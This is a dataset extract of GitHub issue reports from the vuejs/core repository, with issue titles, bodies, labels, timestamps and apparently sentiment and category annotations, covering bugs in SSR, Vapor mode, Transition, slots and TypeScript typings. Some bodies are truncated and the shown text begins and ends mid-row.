<img width=""309"" height=""91"" alt=""Image"" src=""https://github.com/user-attachments/assets/9fc70169-a67c-4ea1-98e0-cd4f5549172d"" />

This is the expected behaviour

https://www.typescriptlang.org/play/?noUncheckedIndexedAccess=true&ts=5.9.3&ssl=13&ssc=25&pln=14&pc=29#code/C4TwDgpgBAsiAq5oF4oG8BQUoG0DGAhsBAOYD2ATiAFxQDOwFAlgHYkC6tDzbGAvhgx4yLBlABmZMrTiJIUVJmwByACYEAbk1XLaygAoQKdEcoA0WKMoIsQwABasSuqwGUyAWwgOn5-oIB6AKh4eyNoOnsyAFcAG1UoACNoGygjCkooMIoIDEkyHGUYAhBkqABVFlUIcVYIHXYAOliINgdA4IBBKqgfOnoouISygHkAaTzKAAphUWAoQmJyKihWCSkASnRLfPwiUkoQdgBufiA

With vue, that compiler option does... [TRUNCATED]",,2026-03-11 11:47:27+00:00,2026-03-12 05:51:26+00:00,2,nan,0.7528,typescript nouncheckedindexedaccess flag is being ignored vue version link to when using the flag directly in a typescript file we correctly see object is possibly undefined when appropriate see line this is the expected behaviour with vue that compiler option does truncated,others,-0.3182
vuejs/core,4044428077,`watch()` created after `await` in async setup is not skipped during SSR,"### Vue version

3.5.29

### Link to minimal reproduction

https://play.vuejs.org/#__SSR__eNrNVM1u2zAMfhXClzioZ3frdljhBOiKHrZDWzQ5Chhcm07UypKhHydF4HcfJSepA2wFtsM2HQyL5Ed+/BF30VXbpp3D6DLKTal5a0EUcjVjkTUsAoPWtXMmedMqbeHKvMjyes1FBbVWDUzS7FXk3UyYZDLPBk+Eo4vFphWFxTkwCfnCmRalQdIBnXzkMQuyPBuZ5NkRzWSUEKdSyZqv0iejJFHeeQSLStW0XKC+ay1XknhfQtB4XSGE2nwLMqsdJgd5ucby+SfyJ7P1MhbdazSoO2TRUWcLvUI7qG8Wt7il/6OyUZUTZP2G8gGNEs5zHMy+OFkR7ZFdYPs1FJvL1dLcbC2V4pCUJ+ot+2DPIir49Rupv9K9SD8GHJM9VfG0ZVRGqvq+90O/PfxfHM9xP2k70FgnsClsuYZ+P21+wP4ek//jeCY09MbS10kLM1+Y+Hzq3xZAloFdczPUCTXQb6m0xtKKFzDPvG2xgsppGiZYLB4gfsRaaYRiU3BLPmBAxsF3AvEUZvPDAPmoSmAq1CqeDLh3AXeMVnON1WTqWZi1cvSGb++WQPajkGHu9mwHtMQN3FM/ucGY3pgSHfqoNHpL3qBy9iBN4P359BeJ+tDmJLOitiT/7cQC7A/ySuDRWagUmnGGIVzaFcLh2dmwzka7kK6jfRb2X8W7+W63723f55kXDMDT1fe9Q+0XAT3Xi/RT+uFz1P8ALE2ewg==

### Steps to reproduce

1. create a component with async setup with a `watch()` after an `await`
2. server-render it


```vue
<script setup>
  import { ref, watch } from 'vue'

  const count = ref(0)

  await new Promise(resolve => setTimeout(resolve, 10))

  watch(count, () => {
    console.log('watcher fired during SSR')
  })

  count.value++
</script>
```

### What is expected?

The `watch()` callback should not fire during SSR (non-immediate watchers are supposed to return a no-op handle when `isInSSRComponentSetup` is true)

### What is actually happening?

The watcher fires during SSR. `withAsyncContext` restores currentInstance but not `isInSSRComponentSetup`.

### Sys... [TRUNCATED]","scope: ssr,:hammer: p3-minor-bug",2026-03-09 09:27:19+00:00,2026-03-09 09:58:12+00:00,0,"scope: ssr,:hammer: p3-minor-bug",0.0214,created after in async setup is not skipped during ssr vue version link to create a component with async setup with a after an server render it what is expected the callback should not fire during ssr non immediate watchers are supposed to return a no op handle when is true what is actually happening the watcher fires during ssr restores currentinstance but not sys truncated,bug,0.5374
vuejs/core,4039871407,Vue 3.5.29: $route and other ComponentCustomProperties not recognized in templates,"### Vue version

3.5.29

### Link to minimal reproduction

N/A (Nuxt project, see steps below)

### Steps to reproduce

1. Create a Nuxt 4 project using `vue@3.5.28` — `nuxi typecheck` passes
2. Upgrade to `vue@3.5.29` — `nuxi typecheck` fails with errors like:

```
Property '$route' does not exist on type '{ ... $nuxt: NuxtApp; }'
Property 'navigateTo' does not exist on type '{ ... $nuxt: NuxtApp; }'
```

3. Pin back to `vue@3.5.28` — passes again

Reproduced with:
- vue-tsc 3.2.5
- nuxt 4.3.1
- typescript 5.9.3

The issue affects any property added to templates via `ComponentCustomProperties` augmentation (e.g. `$route` from vue-router, `navigateTo` from Nuxt).

### What is expected?

`ComponentCustomProperties` augmentations (like `$route` from vue-router) should be recognized in templates during type checking, as they are in 3.5.28.

### What is actually happening?

Template type checking no longer sees properties added via `ComponentCustomProperties` module augmentation. All uses of `$route`, `navigateTo`, etc. in `<template>` produce TS2339 errors.

### System Info

```
macOS Darwin 25.3.0 (ARM64)
Ubuntu 24.04 ARM (GitHub Actions)
bun 1.3.10
```

### Any additional comments?

Pinning `vue` to `3.5.28` is a workaround. The regression was bisected by swapping only the vue version in a Nuxt 4 project — all other dependencies held constant.",need more info,2026-03-07 23:31:18+00:00,2026-03-10 01:12:09+00:00,2,need more info,2.07,vue route and other componentcustomproperties not recognized in templates vue version link to n a nuxt project see steps below create a nuxt project using passes upgrade to fails with errors like pin back to passes again reproduced with vue tsc nuxt typescript the issue affects any property added to templates via augmentation e g from vue router from nuxt what is expected augmentations like from vue router should be recognized in templates during type checking as they are in what is actually happening template type checking no longer sees properties added via module augmentation all uses of etc in produce ts errors system info any additional comments pinning to is a workaround the regression was bisected by swapping only the vue version in a nuxt project all other dependencies held constant,others,-0.4019
vuejs/core,4037944543,"[Vapor] In Transition, if you quickly click an element when the transition is incomplete, it will disappear","### Vue version

3.6.0-beta.7

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Ustu2zAQ/JUFL7GBWJaTPgBVcl/IoT20RRsUPRAoGHnlMKFIgVwpDgz/e5eSaylAkJO4M7Or4Sz34mPTJF2LIhN5KL1uCAJS20CnGufX0uqavwR78FjBASrvajjjhjNppS2dDQSdxgcoomCWzv+D5a2yW/w9ULM5FGvYSwu9OOmUaZHxaVEUsIL3kEIGK2kP0ubLwRCb4IKwbowi5Aogv2mJnIUPpdHlfSHF+Dcp1mORLwfh0HTtlQ2aNDfWboPcpu3CtcQtkWfFRnfQLXTFVLTGxCpfMviURxNwfTES+XKczEC+nHjNAz2aeEi4zxL6hSpJd3jeIwZVh0dkiIdOkzJQxsDrAKgCvusTmUyJe5jOIDfpr5yvs+EYbfyZLS7SZjfnIQCuUaWmxwzSYSanfHQozgUFXl6lt8ldcJafRD+S03V1ow367000FqTIhp9Fjk26h689Rr6N9xrw8hbL+2fwu7CLmBQ/PAb0HUpx4kj5LfI6In316xvu+HwieWWtYfUL5E8MzrTR4yD71NoN257oerdf+iet7fY6XO0IOe/jpaLRqDz0en4DLX5+4eqj3cvkVd/HiXKKfzv0cSYHeJm8SdLFDZJK3orDP111JWY=

### Steps to reproduce

Click three times in quick succession to reproduce

### What is expected?

normal display

### What is actually happening?

div element disappears

### System Info

```shell

```

### Any additional comments?

_No response_",":lady_beetle:  bug,scope: transition,scope: vapor",2026-03-07 08:55:02+00:00,2026-03-09 01:07:39+00:00,1,":lady_beetle:  bug,scope: transition,scope: vapor",1.6754,vapor in transition if you quickly click an element when the transition is incomplete it will disappear vue version beta link to click three times in quick succession to reproduce what is expected normal display what is actually happening div element disappears system info any additional comments no response,bug,-0.5719
vuejs/core,4033358028,"[Vapor] When setting mode in Transition, nodes cannot be processed correctly","### Vue version

3.6.0-beta.7

### Link to minimal reproduction

https://play.vuejs.org/#eNrdVE1r20AQ/SuThRKbRpId9wNc2fSDHNxDUtocehCUjTx2N5F2xe5IdTD+753V2rIpxjmVQE5avXn7mHlvpLX4VFVxU6MYi9TlVlUEDqmuoJGVsdNMq5KfBDN9UxMsrCnhPE6UjkxN/t75h47ChJnuKFyPlN5R0iSIsyC/EJZVIQn5DSAN0kl4OYsiSINSMoUoYjRNDvjiQpDLjV6oZXzvjOa+1/5iJnJTVqpAe1ORMtplYgxtxddkUZg/X1uMbI0XOzz/jfnDEfzerTyWiW8WHdoGM9HVSNolUihf/bjGFZ+7YmnmdcHsE8Xv6ExR+x4D7XOt59z2Aa/tdtaaqvTy1l2tCLXbDeUb9cxNy88EO/zlxOj7dkfxm/Zepjfs4j7Cp6Jfg8UFbLbJ+kB9iJyBI9Aw8dXesL9D5Hx+zWCvD5Np6IKXQBY1enB3fA3DPryCS27l9G7c1URGw8e8UPnDhK1h9UxM/SNNQjEQb61ki/z4wDYjU8OATA5OpHPVQBOpBZfY+S0KQJzRcEtJmBPkkr3evxuYOnos/CFuItSENpI5qcYvDyMFyga3SBifOqUxcLIQv3WA0iF/FTx8J+LdPZQgc3B9YWzpk+ej7+JnL7ocVKs+SwCYSuaKHscwCIps57ZBTnn/FT5fyqP/mXIY8GjKZ0/G3PGxcHh8NXhFX+hq/GrQ+p8KL8YofhcPojskGb8Xm7+vhwPM

### Steps to reproduce

Click the 'addN' button

### What is expected?

Remove node

### What is actually happening?

Nothing happened

### System Info

```shell

```

### Any additional comments?

Both 'in-out' and 'out-in' have issues","scope: transition,scope: vapor",2026-03-06 10:08:37+00:00,2026-03-06 13:13:22+00:00,3,"scope: transition,scope: vapor",0.1283,vapor when setting mode in transition nodes cannot be processed correctly vue version beta link to click the addn button what is expected remove node what is actually happening nothing happened system info any additional comments both in out and out in have issues,others,0.0
vuejs/core,4031960226,Question about different reference equality behavior between watch(source)and watch(() => source),"[### Vue version

v3.5.29

### Link to minimal reproduction

https://play.vuejs.org/#__PROD__eNqlVk1v2zAM/SuEL3GBzEbXnowkWLq1wIqhLdbd5h1UW07dypIhy/lAkP8+6iNy4iZdkeVgS+IT9fhIylkH07qO5i0NkmDUZLKsFTRUtTUwwmfjNFBNGkxSXla1kArWIGkBGyikqGCA2wbelD2XLJeUT50xircr+VQfgMhM8EZBThSBsXYUrlMO0DZUJnA+TPnmLOVFyzNVCo525BHWRJKqOQOD1DujOWEtxf3WgptSPootc+SJE0WrmhFFcQYwyss5mJH+6dlk+vCQrNeWxmYzivWaB3RRJBqAAuhXGkBi+NxwXDEjXIrtCc7BKPYHB0OUDYMtyln00giO2hr+aZCJqi4Zlfe1jhGlTWxk2kYYE4tbs6ZkS1EPu5490+z1wPpLs9RrafCgCck5TQNvU0TONEdtvn68o0sce2Ml8pYh+h3jT9oI1mqOFnbV8hxp7+AM2+8m9SWf/Wqul4ryZhuUJqqRG4NPA8z/13dC7+heRJdmH+YVVdyvoJ0SPV6cQ2i5eS2Iyp6HkNOi5OZwwSlXvdpNOV2avQgjLTPvXbit0FqKuvF0dUH4CYBa1TSB+6cXmimnDmKsuwTCMxhPwLqxv67c7Xxz5oZWK7CFf8PfHHHjOuP4IT1X9mm6OTQhuDYCsI3IREbYt64bDSbS4WEfahijCmZMPFmUXTOyho5CHDtxzC5PzPI5ZODGsqOG5+D7GnOyNXZn47pJa+jxjmInG2D+y6qieYkt6FoFJaK1HXuc22ifpFnxDHp3jpdpK5Ru7B87Yh2jovXidOFQb3I+GHRJ3w7IgpTKSeUSHzoX3q0mIRiNmJiFgytaCEkhY5RIbLxPk/PBsE9wPO7r+kFfn9HXrugnO7p462iP4wfdXPZjG8Lt4/1d1ChtL4tVuO/Vu7XtGL3SVdODRHjENcESDtH4j2r8jZA/uiRtQsy0a9uDIUwLRWUXwX8kp+fp1NT03JyWmJ6TE9Piil7ihSR5J7sPw3eHaYTtVba9ybTgex/6Q5969yE3Q3trH/7SG4A/WIO6y7CHfGqVwqvhS8bK7LX7+k/MexRb89F/Apu/THcFnA==

### Steps to reproduce

1. Open the reproduction link.
2. Open the browser's developer console.
3. Click `reset` button
4. Observe the console output  `Before clearing->1 false`

------

5.  Close `() => props.data,`   Open `props.data,`
6.  Click `reset` button
7. Observe the console output  `Before clearing->1 true`


### Wha... [TRUNCATED]",,2026-03-06 03:13:41+00:00,2026-03-06 13:11:25+00:00,1,nan,0.4151,question about different reference equality behavior between watch source and watch source vue version v link to open the open the browser s developer console click button observe the console output close open click button observe the console output wha truncated,help,0.0
vuejs/core,4015269478,[Vapor] Dynamic props should not include static props,"### Vue version

3.6.0-beta.7

### Link to minimal reproduction

https://play.vuejs.org/#eNqFU02P0zAQ/SvDCKmttElBi0CK0kqA9gAHQMANo1WaTIuXxLZsJ1Sq8t8ZO012t2p3c7Fn3ny855kc8L0xadcSZpi70krjwZFvDXSF0XYtlGz49HAAS0XpZUfQw9bqBmacNZvwj7oxR3+6DEYoyrBQpVbOg7HawGoqMj8IBVDqVvkMXgvVL0JovhwocFs2PDWmLjyxBZC/SBIlS4qFXAbBBxCrhG+rdQbzBazWMBfIlsDF1Qi+zODXeIcx6rb0+zQU484D8Hu49LF2kgxto66MC64EzviYCYQu2UhVsSOkC1znUfBEc1NUF1g+JnKGykQ5pp1VBf3zfE8InvC/55svH7wxXqF3PKyt3KV3TiveiEhcYMnRsib71XjJwxSYjZIEFnWt/32OPm9bOgrgnD9U/j3jv3P74BP4zZIj25HACfOF3ZEf4JsfX2jP9wlsdNXWHP0E+J2crtvAcQj70KqKaT+Ii2w/xY2VavfT3ew9KTeKCkRDZB/jBfIGh4e6JP2e7nX6JubxHvMrjtt/8Zd6ctF5hpXsjtfwhXJHYDkgp2O77cgGEdzwOn2bvko25Iv0Hfb/AYkNMVo=

### Steps to reproduce

View the compiled .js file

### What is expected?

`<Comp v-bind=""prop"" :foo=""'foo'""></Comp>`
Compiled props:
```js
{
      foo: () => (""foo""),
      $: [
          () => (_ctx.prop)
      ]
}
```

### What is actually happening?

`<Comp v-bind=""prop"" :foo=""'foo'""></Comp>`
Compiled props:
```js
{
    $: [
        () => (_ctx.prop),
        { foo: () => (""foo"") }
    ]
}
```

### System Info

```shell

```

### Any additional comments?

I have fixed the genRawProps method, but I am not sure if it is correct

https://github.com/vuejs/core/commit/2486bea92f1fce382c48b177e379112e1d3373c6#diff-ea4c5e19cf7e5eb21851597c25a3e31bc536523ff575430ea751f57d2ecf1b61R175-R196",,2026-03-03 07:56:57+00:00,2026-03-03 08:11:43+00:00,1,nan,0.0103,vapor dynamic props should not include static props vue version beta link to view the compiled js file what is expected compiled props what is actually happening compiled props system info any additional comments i have fixed the genrawprops method but i am not sure if it is correct,others,-0.1638
vuejs/core,4011522922,Flashing async component with 0 delay,"### Vue version

3.5.29

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-ufpj5ctj?file=src%2Fmain.js

### Steps to reproduce

 - Define an async component with a loadingComponent having a delay of 0 (for now we do not need a real component to be loaded)
 - render this component, either via the html, or via an app.vue does not change the results
 - Observe how it appears for a second, disappears for a while after Vue has mounted, and reappear ~300ms later

<img width=""550"" height=""524"" alt=""Image"" src=""https://github.com/user-attachments/assets/b457a474-8c17-406c-b563-db809fc6dc61"" />

<img width=""551"" height=""522"" alt=""Image"" src=""https://github.com/user-attachments/assets/e5b5f030-5552-4c93-94d1-39ef5c5abfc9"" />

<img width=""525"" height=""529"" alt=""Image"" src=""https://github.com/user-attachments/assets/216e57ba-e22e-4420-ba4d-f0ae2783ced5"" />

### What is expected?

If an async vue component has a fallback value with a delay of 0 i would expect it to render the fallback immediately, at the same time as the regular components do.

### What is actually happening?

What currently happens is that the regular components are mounted immediately.
The async components fallback is rendered with about 300ms delay, even though the delay is set to 0ms.

This causes a jarring layout shift if this component is used above the fold.

### System Info

```shell
System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 ... [TRUNCATED]",,2026-03-02 14:16:30+00:00,2026-03-03 01:31:31+00:00,3,nan,0.4688,flashing async component with delay vue version link to define an async component with a loadingcomponent having a delay of for now we do not need a real component to be loaded render this component either via the html or via an app vue does not change the results observe how it appears for a second disappears for a while after vue has mounted and reappear ms later what is expected if an async vue component has a fallback value with a delay of i would expect it to render the fallback immediately at the same time as the regular components do what is actually happening what currently happens is that the regular components are mounted immediately the async components fallback is rendered with about ms delay even though the delay is set to ms this causes a jarring layout shift if this component is used above the fold system info shell system os linux undefined cpu x intel r core tm i h cpu ghz memory truncated,others,-0.8591
vuejs/core,4003549573,shallowReactive with v-for incorrect typing: property does not exist on type true,"### Vue version

@ea24576

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kcFOwzAQRH9l5UtAKqkqOFVppRb1AAdAhaMvabptXBLbsjehUpR/Z+2IUCHUWzyz47zxdmJlbdo2KOYi84VTlsAjNXYptaqtcQQd+DKvKvO1xbwg1SL0cHCmhoRjidRSF0Z7ArM7weLv7E0nNUA+51tIUYVzSFYJ9JOg7i7V9aD2t1Jn0wGEEfhAWNsqJ+QTQFbOoL07GLeQQrEDSof/SrHsOghCGu+Dvs+m5Ywj2XTMi4kgz6gHdUxP3mhuHOGkKExtVYXu1ZLiKlIwWHCCF9s8R41cgxE8ZkosPv/RT/4cNCneHHp0LUoxepS7I9Jgb95f8Mzfo1mbfVPx9BVzi95UTWAcxtaN3jP2xVykfYp7U/r44TdnQu1/SgXQMDk8vxS8v8cr1X9x79OHmOP9iP4buAa6hQ==

### Steps to reproduce

shallowReactive object gets incorrectly typed when used in v-for:
```vue
<script setup>
import { shallowReactive } from 'vue'

const obj = shallowReactive({
  a: { title: 'A' },
  b: { title: 'B' },
})
</script>

<template>
  <h1 v-for=""item in obj"">{{ item.title }}</h1>
  <!--                            ^^^^^
  -->
</template>
```

### What is expected?

No error, and
```ts
typeof item // { title: string }
```

### What is actually happening?

Typescript error:
```
Property 'title' does not exist on type 'true | { title: string; } | { title: string; }'.
  Property 'title' does not exist on type 'true' .ts(2339)
```

### System Info

```shell

```

### Any additional comments?

I found these typings in vue, I guess it might come from here
```ts
declare const ShallowReactiveMarker: unique symbol;
export type ShallowReactive<T> = T & {
    [ShallowReactiveMarker]?: true;
};
```",scope: types,2026-02-28 01:29:58+00:00,2026-03-25 09:06:29+00:00,0,scope: types,25.317,shallowreactive with v for incorrect typing property does not exist on type true vue version ea link to shallowreactive object gets incorrectly typed when used in v for what is expected no error and what is actually happening typescript error system info any additional comments i found these typings in vue i guess it might come from here,others,-0.6597
vuejs/core,4002827013,3.5.29 regression: type error when assigning $attrs.class to :class,"### Vue version

3.5.29

### Link to minimal reproduction

https://stackblitz.com/edit/vue3-vite-typescript-starter-lef7lqpi?file=package.json

### Steps to reproduce

The following will produce a type error in both VS Code and vue-tsc in 3.5.29 (but not 3.5.28 and earlier):

```vue
<template>
	<div :class=""$attrs.class"" />
</template>
```

The Stackblitz repro will reproduce the type error too if you run `npm run build`.

### What is expected?

No type error

### What is actually happening?

Type error:
```
error TS2345: Argument of type '{ class: unknown; }' is not assignable to parameter of type 'HTMLAttributes & ReservedProps & Record<string, unknown>'.
  Type '{ class: unknown; }' is not assignable to type 'HTMLAttributes'.
    Types of property 'class' are incompatible.
      Type 'unknown' is not assignable to type 'ClassValue'.

<div :class=""$attrs.class"">
```

### System Info

```shell
System:
    OS: Windows 11 10.0.26200
    CPU: (16) x64 AMD Ryzen 7 PRO 6850U with Radeon Graphics
    Memory: 3.78 GB / 30.77 GB
  Binaries:
    Node: 24.13.0 - C:\Program Files\nodejs\node.EXE
    Yarn: 4.0.2 - C:\Program Files\nodejs\yarn.CMD
    npm: 11.6.2 - C:\Program Files\nodejs\npm.CMD
    pnpm: 10.30.1 - C:\Program Files\nodejs\pnpm.CMD
  Browsers:
    Edge: Chromium (143.0.3650.80)
    Internet Explorer: 11.0.26100.7309
```

### Any additional comments?

This is a regression caused by #14441 changing the type of HTMLAttributes.class from `any` to `ClassValue | undefined`, wh... [TRUNCATED]","scope: types,:hammer: p3-minor-bug,regression",2026-02-27 20:54:40+00:00,2026-03-09 06:23:43+00:00,0,"scope: types,:hammer: p3-minor-bug,regression",9.3952,regression type error when assigning attrs class to class vue version link to the following will produce a type error in both vs code and vue tsc in but not and earlier the stackblitz repro will reproduce the type error too if you run what is expected no type error what is actually happening type error system info any additional comments this is a regression caused by changing the type of htmlattributes class from to wh truncated,bug,-0.9571
vuejs/core,3999797066,[Vapor] The prop `is` of Vapor components does not support dynamic binding via `v-bind`,"### Vue version

3.6.0-beta.7

### Link to minimal reproduction

https://play.vuejs.org/#eNp9klFLwzAQx79KyEsdzFaYKIxuoHMP+qBDfQxI7a5dZpqEJO0Gpd/dS+pmFd1Tm///7vLL3bX0Ruu4qYFOaWpzw7UjTaaVIRZcrYnIZDlj1FlG50zyCh1HFqrSpDCqIlGc+IMvEDGZJn0FjMSDg0qLzAGeCElDzpRbLBatMgPSRYySZGAGr7e+nDQZ1KBjpMiVLHgZb62SCNz6ZEZzzOYCzJN2XEkknZLgeC8TQu0eguZMDeODnm8g//hD39q91xDEgAXTAKNHz2WmBGTz9vLlEfb4fzQrta4FRp8wn8EqUXvGPuy2lmvEHsQF2vvQZC7LV7vcO5D28CgP6iO7EM8oNt037r+nf+NO4suQx2SHXTwMbDDxftb93H9OHBtuHdFGaUtmZMfd5g6KrBbOnq2h4BJW3krDpdxOiXUGyfGi+dlo3LN4OVpsuFjjinSj02uiw4eQtuW2Q2CUEq/9XoW3BoxvDD5iEl/FF+fv4LL4mnaftPTu1Q==

### Steps to reproduce

1. Define the prop for the Vapor component and use it in the template
```ts
// Child.vue
withDefaults(defineProps<{
  is: string
}>(), {
  is: 'Child'
})
```

```html
<template>
  <div>{{ is }}</div>
</template>
```

2. Use the Vapor component in the parent component and pass `:is=""'Parent'""` via `v-bind`

3. At this point, the page displays `Child` and a warning is shown indicating that a required prop is missing. The `v-bind` passing method is supported in VDOM mode.

### What is expected?

1. When passing the `is` prop to a Vapor component via `v-bind` (e.g., `:is=""'Parent'""`), the component should correctly receive and render the dynamically bound value (`Parent`), instead of falling back to the default value (`Child`).
2. No false warning about a ""required prop missing"" should be thrown when the `is` prop is passed via `v-bind` (consistent with the behavior in VDO... [TRUNCATED]",":hammer: p3-minor-bug,scope: vapor",2026-02-27 08:19:54+00:00,2026-03-02 05:56:49+00:00,1,":hammer: p3-minor-bug,scope: vapor",2.9006,vapor the prop of vapor components does not support dynamic binding via vue version beta link to define the prop for the vapor component and use it in the template use the vapor component in the parent component and pass via at this point the page displays and a warning is shown indicating that a required prop is missing the passing method is supported in vdom mode what is expected when passing the prop to a vapor component via e g the component should correctly receive and render the dynamically bound value instead of falling back to the default value no false warning about a required prop missing should be thrown when the prop is passed via consistent with the behavior in vdo truncated,bug,-0.7043
vuejs/core,3995735946,Inconsistent behavior between template slot and JSX slot for fallback content,"### Vue version

3.5.29

### Link to minimal reproduction

https://play.vuejs.org/#eNqFUslOAkEQ/ZW2L0DCDBE9kRGjhoMe1KjHTsxkKHCwt/SCk8D8u9XdMoBxuXXVe/1qebWhV1rnaw90QgtbmVo7YsF5PWWyFloZR26U0KdkYZQgvXwUo9zZpndEGB8RxkERCUwWoySKchg4EJqXDjAipIhS8YnBSZaRSgkB0lmSZYmRqu3Z4//ZgVKMDgrRIXW2UnJRL/OVVRIH3QQ6oyigaw7mQbtaScvohEQkYCXn6uMu5pzxMNzlqzeo3n/Ir2wTcow+GrBg1sBoh7nSLMElePZ8Dw2+O1CouefI/gN8Aqu4Dz0m2rWXc2z7gBe7vY1u1HL5YmeNA2l3Q4VGA7ONfEbRm7Cp30bft3uWn8d/TLa4xc553CA00fk5LErPXfobz6b/OiQbYrlCX9rBTtQgZCTpD8jFNIH519fLHJPbLelFdTyZVC7a1l1SuM3j0wka04jjgYX3d9PbT2fN7JU=

### Steps to reproduce

1. Create a JSX component with fallback content:
```tsx
// Comp1.tsx
export default {
  setup(_, { slots }) {
    return () => slots.default?.() || 'Comp1'
  }
}
```

2. Create a template component  with fallback content:
```vue
<!-- Comp2.vue -->
<template>
  <slot>Comp2</slot>
</template>
```

3. Use both components with only comments in the slot content:
```vue
<template>
  <Comp1>
    <!-- comments -->
  </Comp1>
  <Comp2>
    <!-- comments -->
  </Comp2>
</template>
```

### What is expected?

Both components should render their fallback content (""Comp1"" and ""Comp2"" respectively)

### What is actually happening?

Only `Comp2` renders its fallback content

### System Info

```shell

```

### Any additional comments?

`<slot></slot>` is transpiled to `renderSlot(slots, 'default')`, which internally calls `ensureValidVNode`.  To make sure consistent results,  I suggest having the compiler transpile slot ... [TRUNCATED]",,2026-02-26 13:56:51+00:00,2026-02-27 01:13:53+00:00,1,nan,0.4702,inconsistent behavior between template slot and jsx slot for fallback content vue version link to create a jsx component with fallback content create a template component with fallback content use both components with only comments in the slot content what is expected both components should render their fallback content comp and comp respectively what is actually happening only renders its fallback content system info any additional comments is transpiled to which internally calls to make sure consistent results i suggest having the compiler transpile slot truncated,others,0.7845
vuejs/core,3992879457,[vapor] An error will be reported when using Teleport in dynamic components,"### Vue version

3.6.0-beta.6

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UUFOwzAQ/MriSy9NglTUQxUqAeoBDoCg4mQJpcm2uDi2ZTuhqMrfWbtKWiToyZ6d2fHses9ujEnbBtmM5a60wnhw6BsDbWG0nXMlajo97GGJEsN1DG+B6iF0sLa6hhGZjLjKs4MLdRLwWBtZeCQEkF8kCayKCpLkgEtN3gqVh5lw15z1lpyB14RXuvrmLGpJXYl23ivyLKBokg0ux0eUKHF4ZQj6j+evaU6N+xrBPDuZhI2Zd6VWa7FJt04rWt0+dHAWogiJ9sl4oZXjbAaRCVwhpf56iDVvGxz39fIDy88/6lu3CzXOni06tC1yNnC+sBukNQV68fqIO7oPZK2rRpL6DPmCTssmZDzIbhtVUewTXUx7H79eqM3SLXYeleuHCkGDsot6zujr786Mfow7Sa9iH1cdbfG9RRs8aYGTdJpeJiv0RTpl3Q+4U9mK

### Steps to reproduce

Click to open the link.

### What is expected?

Operate normally or provide a prompt

### What is actually happening?

Console print error:  `render is not a function`

### System Info

```shell
System:
    OS: Windows 11 10.0.26100
    CPU: (16) x64 Intel(R) Core(TM) Ultra 7 255H
    Memory: 15.06 GB / 31.43 GB
  Binaries:
    Node: 22.18.0 - D:\Document\nodejs\node.EXE
    npm: 10.9.3 - D:\Document\nodejs\npm.CMD
    pnpm: 10.28.2 - D:\Document\nodejs\pnpm.CMD
  Browsers:
    Chrome: 144.0.7559.133
    Edge: Chromium (140.0.3485.54)
```

### Any additional comments?

_No response_","scope: vapor,interop",2026-02-26 02:23:40+00:00,2026-02-26 12:43:38+00:00,1,"scope: vapor,interop",0.4305,vapor an error will be reported when using teleport in dynamic components vue version beta link to click to open the link what is expected operate normally or provide a prompt what is actually happening console print error system info any additional comments no response,bug,-0.6808
vuejs/core,3989401042,SFC Playground <Header> hides monaco modal,"In certain circumstances, the Monaco ""hover"" modal will sit underneath the `<Header>` component:

<img width=""628"" height=""140"" alt=""Image"" src=""https://github.com/user-attachments/assets/15ab9c0d-97af-42ff-ae56-9e650e4712e9"" />
",scope: playground,2026-02-25 13:09:13+00:00,2026-02-27 01:02:07+00:00,0,scope: playground,1.4951,sfc playground hides monaco modal in certain circumstances the monaco hover modal will sit underneath the component,others,0.1027
vuejs/core,3987371723,Can't resolveDynamicComponent in component slots,"### Vue version

3.6.0-beta.6

### Link to minimal reproduction

https://play.vuejs.org/#eNqVU8Fu1DAQ/ZXBQtoiNQlSUQ+rdCVAeygHqICjJRqS2cWLY1u2ExZF+XfGdpKi7bZSb+OZN89vxs8De29M3nfI1qx0tRXGg0PfGZCV2t9w5h1nG65Ea7T1sJW3ynQedla3sMqLeArtqwXyUbdmqYfDVOaq1sp5GMD/NQg3sBKheQUjxQ3uhMI7q40rE2ANzluh9jBuLt6E7gT5YrwgmouBK4Ca2LVC5d2aaGdtI1cjdZRFGofE08Fja2TlEfqKVFIOoAziYkTxQgVr4Wjse5TZ6yEIGe9pAWWxADZQvsoy2FVCYgNZlrjipCl8MZXr6hqdS1xlMUulA7uk/dPadmKfH5xW9EhxcM4CBwmw0z44ow2kUTirpNR/PsWctx1ezvn6F9a/z+QP7hhynN1ZdGh75Gyp+cru0afy9ttnPFK8FFvddJLQzxS/otOyCxoT7EOnGpL9Hy6qvY3eoef+7rZHj8rNQwWhATlGPGfkpbDpp0Z/kHuVv4t9ZAba4uLTU5s/WHsAoQ5Yk38m9ybbPmGj9NSN6CcDRS8nJ6Tk6TvOP+GRgPMXnPKXTmoPxWS281f86NGGxdEVV/l1/jb7ib7Kr9n4D5pyTg0=

### Steps to reproduce

`<Comp><component is=""el-input""></Comp>` will be render as a `el-input` element, not a component.

### What is expected?

correct resolve dynamic component name

### What is actually happening?

dynamic component can't be resolved in slots. because currrentInstance is changed.

### System Info

```shell

```

### Any additional comments?

_No response_",":lady_beetle:  bug,scope: vapor",2026-02-25 05:47:30+00:00,2026-02-26 01:42:17+00:00,1,":lady_beetle:  bug,scope: vapor",0.8297,can t resolvedynamiccomponent in component slots vue version beta link to will be render as a element not a component what is expected correct resolve dynamic component name what is actually happening dynamic component can t be resolved in slots because currrentinstance is changed system info any additional comments no response,bug,0.7351
vuejs/core,3986969803,[vapor] The issue of dynamic styling in Teleport when using component slots,"### Vue version

3.6.0-beta.6

### Link to minimal reproduction

